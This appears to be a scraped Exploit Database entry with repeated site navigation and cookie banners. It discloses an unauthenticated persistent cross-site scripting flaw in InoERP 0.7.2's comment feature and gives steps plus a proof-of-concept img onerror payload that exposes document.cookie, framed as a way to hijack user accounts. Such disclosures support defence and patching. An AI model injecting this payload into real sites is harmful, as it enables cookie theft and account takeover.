



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

OK

Do not sell or share my personal information



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS

InoERP 0.7.2 - Persistent Cross-Site Scripting

EDB-ID:

47428

CVE:

N/A

EDB Verified: ✘**Author:**[STRIDER](#)**Type:**[WEBAPPS](#)**Exploit:**   / **Cookiebot**
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >

EXPLOIT DATABASE

EXPLOITS

GHDB

PAPERS

SHELLCODES

SEARCH EDB

SEARCHSPLOIT MANUAL

SUBMISSIONS

```
# Exploit Title: InoERP 0.7.2 - Persistent Cross-Site Scripting
# Google Dork: None
# Date: 2019-09-14
# Exploit Author: strider
# Vendor: http://inoideas.org/
# Software Link: https://github.com/inoerp/inoERP
# Version: 0.7.2
# Tested on: Debian 10 Buster x64 / Kali Linux
# CVE : None
```

```
=====  
[Description]=====  
There is a security flaw on the comment section, which allows to make  
persistant xss without any authentication.  
An attacker could use this flaw to gain cookies to get into a account of  
registered users.
```

```
=====  
[Vulnerability]=====  
extensions/comment/post_comment.php in the server part  
$$extension = new $extension;
```



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

Show details >

```
Step 2:  
open a new question and submit it.  
  
Step 3:  
then paste this PoC-Code below into the comment field and submit that  
  
<img src=# onerror="alert(document.cookie);">
```

Tags:

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS



EXPLOIT DATABASE BY OFFSEC [TERMS](#) [PRIVACY](#) [ABOUT US](#) [FAQ](#) [COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.



Cookiebot
by Usercentrics

This website uses cookies

We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you've provided to them or that they've collected from your use of their services. You consent to our cookies if you continue to use our website.

[Show details](#) >